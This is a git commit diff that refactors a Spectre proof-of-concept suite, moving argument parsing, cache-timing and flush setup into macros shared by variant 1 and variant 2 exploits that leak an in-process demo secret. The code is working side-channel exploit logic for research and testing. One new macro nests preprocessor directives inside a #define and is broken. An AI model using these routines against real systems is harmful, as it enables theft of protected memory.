Factorize OCTOPUS_ARGS, OCTOPUS_TIMINGS and OCTOPUS_NOCLFLUSH_INIT in macros defined in octopus.h

This commit is contained in:
Samuel Aubertin 2022-04-12 13:12:30 +02:00
parent 7134b712ed
commit a8612b146a
3 changed files with 80 additions and 99 deletions

View File

@ -71,6 +71,65 @@
}
#endif //NOCLFLUSH
#define GAP 512
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
unsigned int cache_hit_threshold, array1_size = 16;
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
#define __OCTOPUS_ARGS__\
while ((o = getopt(argc, argv, "t:j")) != EOF) {\
switch (o) {\
case 't':\
cache_hit_threshold = atoi(optarg);\
break;\
case 'j':\
json++;\
break;\
default:\
usage:\
fprintf(stderr, "usage: %s [-j] "\
"[-t threshold]\n"\
"\t-j\t\tJSON output\n"\
"\t-t INT\t\tfixed threshold\n", argv[0]);\
return 1;\
}\
}\
if (argc != optind) {\
goto usage;\
}
#define __OCTOPUS_TIMINGS__\
/* Time reads. Order is lightly mixed up to prevent stride prediction */\
for (i = 0; i < 256; i++) {\
mix_i = ((i * 167) + 13) & 255;\
addr = & channel[mix_i * GAP];\
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
results[mix_i]++; /* cache hit - add +1 to score for this value */\
}\
}\
/* Locate highest results in j */\
j = -1;\
for (i = 0; i < 256; i++) {\
if (j < 0 || results[i] >= results[j]) {\
j = i;\
}\
}\
if (results[j] >= 3) {\
break;\
}
#define __OCTOPUS_NOCLFLUSH_INIT__\
int junk2 = 0;\
int l;\
(void)junk2;
#define __OCTOPUS_MFENCE__\
#ifndef NOMFENCE\
_mm_mfence();\
#endif
static inline unsigned
timed_access(volatile uint8_t *addr)
{

View File

@ -21,9 +21,6 @@
#include "octopus.h"
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
unsigned int cache_hit_threshold, array1_size = 16;
uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */
void
@ -44,7 +41,7 @@ victim_function(size_t x)
x &= array_index_mask_nospec(x, array1_size);
#endif
temp &= array2[array1[x] * 512];
temp &= channel[array1[x] * GAP];
}
}
@ -57,24 +54,24 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre
volatile uint8_t* addr;
#ifdef NOCLFLUSH
int junk2 = 0;
int l;
(void)junk2;
__OCTOPUS_NOCLFLUSH_INIT__
#endif
for (i = 0; i < 256; i++) {
results[i] = 0;
}
for (tries = 999; tries > 0; tries--) {
#ifndef NOCLFLUSH
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]);
/* Flush channel[256*(0..255)] from cache */
for (i = 0; i < 256; i++) {
_mm_clflush(&channel[i * GAP]);
}
#else
/* Flush array2[256*(0..255)] from cache
/* Flush channel[256*(0..255)] from cache
using long SSE instruction several times */
for (j = 0; j < 16; j++) {
for (i = 0; i < 256; i++) {
flush_memory_sse(&array2[i * 512]);
flush_memory_sse(&channel[i * GAP]);
}
}
#endif
@ -101,22 +98,8 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest results in j */
j = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
j = i;
}
}
if (results[j] >= 3)
break;
__OCTOPUS_TIMINGS__
}
results[0] ^= junk; /* use junk so code above wont get optimized out*/
value[0] = (uint8_t) j;
@ -130,26 +113,7 @@ main(int argc, char** argv)
int i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
uint8_t value[2];
while ((o = getopt(argc, argv, "t:j")) != EOF) {
switch (o) {
case 't':
cache_hit_threshold = atoi(optarg);
break;
case 'j':
json++;
break;
default:
usage:
fprintf(stderr, "usage: %s [-j] "
"[-t threshold]\n"
"\t-j\t\tJSON output\n"
"\t-t INT\t\tfixed threshold\n", argv[0]);
return 1;
}
}
if (argc != optind) {
goto usage;
}
__OCTOPUS_ARGS__
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
@ -158,8 +122,8 @@ main(int argc, char** argv)
cache_flush_array[i] = 1;
}
#endif
for (i = 0; i < (int)sizeof(array2); i++) {
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
for (i = 0; i < (int)sizeof(channel); i++) {
channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */
}
while (--len >= 0) {
leak(malicious_x++, value, score, cache_hit_threshold);

View File

@ -20,14 +20,7 @@
#include "octopus.h"
#define GAP 1024
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
uint64_t* target; // pointer to indirect call target
unsigned int cache_hit_threshold, array1_size = 16;
uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
//uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
// mistrained target of indirect call
int
@ -77,10 +70,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
unsigned int junk = 0;
volatile uint8_t* addr;
char dummy = '@';
#ifdef NOCLFLUSH
int junk2 = 0;
int l;
(void)junk2;
__OCTOPUS_NOCLFLUSH_INIT__
#endif
for (i = 0; i < 256; i++) {
results[i] = 0;
@ -90,7 +82,7 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
// Malicious target
*target = (uint64_t)&gadget;
#ifndef NOMFENCE
_mm_mfence();
_mm_mfence();
#endif
for (j = 50; j > 0; j--) {
junk ^= victim_function(&dummy, 0);
@ -138,24 +130,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
#endif
// now, the value of *addr_to_read should be cached even though
// the logical execution path never calls gadget()
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & channel[mix_i * GAP];
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
}
/* Locate highest results in j */
j = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
j = i;
}
}
if (results[j] >= 3) {
break;
}
__OCTOPUS_TIMINGS__
}
results[0] ^= junk; /* use junk so code above wont get optimized out*/
value[0] = (uint8_t) j;
@ -169,26 +146,7 @@ main(int argc, char** argv)
uint8_t value[2];
char* secret_addr = secret;
while ((o = getopt(argc, argv, "t:j")) != EOF) {
switch (o) {
case 't':
cache_hit_threshold = atoi(optarg);
break;
case 'j':
json++;
break;
default:
usage:
fprintf(stderr, "usage: %s [-j] "
"[-t threshold]\n"
"\t-j\t\tJSON output\n"
"\t-t INT\t\tfixed threshold\n", argv[0]);
return 1;
}
}
if (argc != optind) {
goto usage;
}
__OCTOPUS_ARGS__
target = (uint64_t*)malloc(sizeof(uint64_t));
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);